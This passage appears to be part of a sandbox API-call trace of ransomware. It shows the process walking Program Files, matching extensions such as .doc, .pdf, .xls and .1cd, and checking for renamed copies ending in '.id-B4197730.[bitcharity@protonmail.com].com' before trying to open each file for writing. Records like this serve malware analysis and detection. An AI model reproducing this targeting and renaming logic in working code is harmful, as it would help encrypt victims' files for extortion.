-1 [0242.929] lstrlenW (lpString=".pdf") returned 4 [0242.929] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0242.929] lstrlenW (lpString=".xls") returned 4 [0242.929] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0242.930] lstrlenW (lpString=".xlsx") returned 5 [0242.930] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0242.930] lstrlenW (lpString=".ppt") returned 4 [0242.930] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0242.930] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0242.930] lstrlenW (lpString=".zip") returned 4 [0242.930] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0242.930] lstrlenW (lpString=".rar") returned 4 [0242.930] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0242.930] lstrlenW (lpString=".bz2") returned 4 [0242.930] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0242.930] lstrlenW (lpString=".7z") returned 3 [0242.930] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0242.930] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0242.930] lstrlenW (lpString=".dbf") returned 4 [0242.930] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0242.930] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0242.930] lstrlenW (lpString=".1cd") returned 4 [0242.930] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0242.930] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0242.930] lstrlenW (lpString=".jpg") returned 4 [0242.930] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0242.930] Sleep (dwMilliseconds=0x64) [0243.287] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0243.287] lstrlenW (lpString="OfficeC2RCom.dll") returned 16 [0243.287] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x112c [0243.724] GetFileSizeEx (in: hFile=0x112c, lpFileSize=0x38aff14 | out: lpFileSize=0x38aff14*=996568) returned 1 [0243.724] CloseHandle (hObject=0x112c) returned 1 [0243.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll")) returned 0x20 [0243.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0243.725] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0243.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0243.725] lstrlenW (lpString=".doc") returned 4 [0243.725] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0243.725] lstrlenW (lpString=".docx") returned 5 [0243.725] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0243.725] lstrlenW (lpString=".pdf") returned 4 [0243.725] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0243.725] lstrlenW (lpString=".xls") returned 4 [0243.725] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0243.725] lstrlenW (lpString=".xlsx") returned 5 [0243.725] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0243.725] lstrlenW (lpString=".ppt") returned 4 [0243.725] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0243.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0243.725] lstrlenW (lpString=".zip") returned 4 [0243.726] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0243.726] lstrlenW (lpString=".rar") returned 4 [0243.726] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0243.726] lstrlenW (lpString=".bz2") returned 4 [0243.726] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0243.726] lstrlenW (lpString=".7z") returned 3 [0243.726] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0243.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0243.726] lstrlenW (lpString=".dbf") returned 4 [0243.726] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0243.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0243.726] lstrlenW (lpString=".1cd") returned 4 [0243.726] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0243.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0243.726] lstrlenW (lpString=".jpg") returned 4 [0243.726] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0243.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0243.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0243.726] lstrlenW (lpString=".doc") returned 4 [0243.726] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0243.726] lstrlenW (lpString=".docx") returned 5 [0243.726] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0243.726] lstrlenW (lpString=".pdf") returned 4 [0243.726] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0243.726] lstrlenW (lpString=".xls") returned 4 [0243.726] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0243.726] lstrlenW (lpString=".xlsx") returned 5 [0243.727] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0243.727] lstrlenW (lpString=".ppt") returned 4 [0243.727] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0243.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0243.727] lstrlenW (lpString=".zip") returned 4 [0243.727] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0243.727] lstrlenW (lpString=".rar") returned 4 [0243.727] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0243.727] lstrlenW (lpString=".bz2") returned 4 [0243.727] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0243.727] lstrlenW (lpString=".7z") returned 3 [0243.727] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0243.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0243.727] lstrlenW (lpString=".dbf") returned 4 [0243.727] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0243.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0243.727] lstrlenW (lpString=".1cd") returned 4 [0243.727] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0243.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0243.727] lstrlenW (lpString=".jpg") returned 4 [0243.727] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0243.727] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0243.727] lstrlenW (lpString="ucrtbase.dll") returned 12 [0243.728] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x112c [0243.761] GetFileSizeEx (in: hFile=0x112c, lpFileSize=0x38aff14 | out: lpFileSize=0x38aff14*=982720) returned 1 [0243.761] CloseHandle (hObject=0x112c) returned 1 [0243.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll")) returned 0x20 [0243.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0243.761] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0243.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0243.761] lstrlenW (lpString=".doc") returned 4 [0243.761] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0243.762] lstrlenW (lpString=".docx") returned 5 [0243.762] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0243.762] lstrlenW (lpString=".pdf") returned 4 [0243.762] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0243.762] lstrlenW (lpString=".xls") returned 4 [0243.762] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0243.762] lstrlenW (lpString=".xlsx") returned 5 [0243.762] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0243.762] lstrlenW (lpString=".ppt") returned 4 [0243.762] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0243.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0243.762] lstrlenW (lpString=".zip") returned 4 [0243.762] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0243.762] lstrlenW (lpString=".rar") returned 4 [0243.762] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0243.762] lstrlenW (lpString=".bz2") returned 4 [0243.762] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0243.762] lstrlenW (lpString=".7z") returned 3 [0243.762] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0243.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0243.762] lstrlenW (lpString=".dbf") returned 4 [0243.762] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0243.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0243.762] lstrlenW (lpString=".1cd") returned 4 [0243.762] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0243.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0243.762] lstrlenW (lpString=".jpg") returned 4 [0243.762] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0243.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0243.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0243.763] lstrlenW (lpString=".doc") returned 4 [0243.763] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0243.763] lstrlenW (lpString=".docx") returned 5 [0243.763] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0243.763] lstrlenW (lpString=".pdf") returned 4 [0243.763] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0243.763] lstrlenW (lpString=".xls") returned 4 [0243.763] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0243.763] lstrlenW (lpString=".xlsx") returned 5 [0243.763] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0243.763] lstrlenW (lpString=".ppt") returned 4 [0243.763] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0243.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0243.763] lstrlenW (lpString=".zip") returned 4 [0243.763] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0243.763] lstrlenW (lpString=".rar") returned 4 [0243.763] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0243.763] lstrlenW (lpString=".bz2") returned 4 [0243.763] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0243.763] lstrlenW (lpString=".7z") returned 3 [0243.763] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0243.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0243.763] lstrlenW (lpString=".dbf") returned 4 [0243.763] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0243.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0243.764] lstrlenW (lpString=".1cd") returned 4 [0243.764] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0243.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0243.764] lstrlenW (lpString=".jpg") returned 4 [0243.764] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0243.764] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0243.764] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0243.764] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x112c [0243.779] GetFileSizeEx (in: hFile=0x112c, lpFileSize=0x38aff14 | out: lpFileSize=0x38aff14*=10752) returned 1 [0243.779] CloseHandle (hObject=0x112c) returned 1 [0243.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20 [0243.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0243.780] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0243.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0243.781] lstrlenW (lpString=".doc") returned 4 [0243.781] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0243.781] lstrlenW (lpString=".docx") returned 5 [0243.781] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0243.781] lstrlenW (lpString=".pdf") returned 4 [0243.781] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0243.781] lstrlenW (lpString=".xls") returned 4 [0243.781] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0243.781] lstrlenW (lpString=".xlsx") returned 5 [0243.781] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0243.781] lstrlenW (lpString=".ppt") returned 4 [0243.781] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0243.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0243.781] lstrlenW (lpString=".zip") returned 4 [0243.781] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0243.781] lstrlenW (lpString=".rar") returned 4 [0243.781] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0243.781] lstrlenW (lpString=".bz2") returned 4 [0243.781] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0243.781] lstrlenW (lpString=".7z") returned 3 [0243.781] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0243.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0243.781] lstrlenW (lpString=".dbf") returned 4 [0243.781] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0243.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0243.781] lstrlenW (lpString=".1cd") returned 4 [0243.782] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0243.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0243.782] lstrlenW (lpString=".jpg") returned 4 [0243.782] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0243.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0243.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0243.782] lstrlenW (lpString=".doc") returned 4 [0243.782] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0243.782] lstrlenW (lpString=".docx") returned 5 [0243.782] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0243.782] lstrlenW (lpString=".pdf") returned 4 [0243.782] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0243.782] lstrlenW (lpString=".xls") returned 4 [0243.782] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0243.782] lstrlenW (lpString=".xlsx") returned 5 [0243.782] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0243.782] lstrlenW (lpString=".ppt") returned 4 [0243.782] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0243.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0243.782] lstrlenW (lpString=".zip") returned 4 [0243.782] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0243.782] lstrlenW (lpString=".rar") returned 4 [0243.782] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0243.782] lstrlenW (lpString=".bz2") returned 4 [0243.782] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0243.782] lstrlenW (lpString=".7z") returned 3 [0243.782] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0243.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0243.783] lstrlenW (lpString=".dbf") returned 4 [0243.783] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0243.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0243.783] lstrlenW (lpString=".1cd") returned 4 [0243.783] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0243.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0243.783] lstrlenW (lpString=".jpg") returned 4 [0243.783] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0243.783] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0243.783] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0243.783] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x112c [0243.784] GetFileSizeEx (in: hFile=0x112c, lpFileSize=0x38aff14 | out: lpFileSize=0x38aff14*=9728) returned 1 [0243.784] CloseHandle (hObject=0x112c) returned 1 [0243.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20 [0243.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0243.784] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0243.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0243.784] lstrlenW (lpString=".doc") returned 4 [0243.784] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0243.784] lstrlenW (lpString=".docx") returned 5 [0243.784] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0243.784] lstrlenW (lpString=".pdf") returned 4 [0243.784] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0243.784] lstrlenW (lpString=".xls") returned 4 [0243.784] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0243.784] lstrlenW (lpString=".xlsx") returned 5 [0243.784] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0243.784] lstrlenW (lpString=".ppt") returned 4 [0243.785] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0243.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0243.785] lstrlenW (lpString=".zip") returned 4 [0243.785] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0243.785] lstrlenW (lpString=".rar") returned 4 [0243.785] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0243.785] lstrlenW (lpString=".bz2") returned 4 [0243.785] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0243.785] lstrlenW (lpString=".7z") returned 3 [0243.785] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0243.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0243.785] lstrlenW (lpString=".dbf") returned 4 [0243.785] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0243.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0243.785] lstrlenW (lpString=".1cd") returned 4 [0243.785] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0243.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0243.785] lstrlenW (lpString=".jpg") returned 4 [0243.785] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0243.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0243.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0243.785] lstrlenW (lpString=".doc") returned 4 [0243.785] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0243.785] lstrlenW (lpString=".docx") returned 5 [0243.785] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0243.785] lstrlenW (lpString=".pdf") returned 4 [0243.786] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0243.786] lstrlenW (lpString=".xls") returned 4 [0243.786] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0243.786] lstrlenW (lpString=".xlsx") returned 5 [0243.786] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0243.786] lstrlenW (lpString=".ppt") returned 4 [0243.786] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0243.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0243.786] lstrlenW (lpString=".zip") returned 4 [0243.786] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0243.786] lstrlenW (lpString=".rar") returned 4 [0243.786] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0243.786] lstrlenW (lpString=".bz2") returned 4 [0243.786] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0243.786] lstrlenW (lpString=".7z") returned 3 [0243.786] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0243.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0243.786] lstrlenW (lpString=".dbf") returned 4 [0243.786] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0243.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0243.786] lstrlenW (lpString=".1cd") returned 4 [0243.786] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0243.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0243.786] lstrlenW (lpString=".jpg") returned 4 [0243.786] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0243.787] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0243.787] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0243.787] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1168 [0243.840] GetFileSizeEx (in: hFile=0x1168, lpFileSize=0x38aff14 | out: lpFileSize=0x38aff14*=10240) returned 1 [0243.840] CloseHandle (hObject=0x1168) returned 1 [0243.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20 [0243.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft 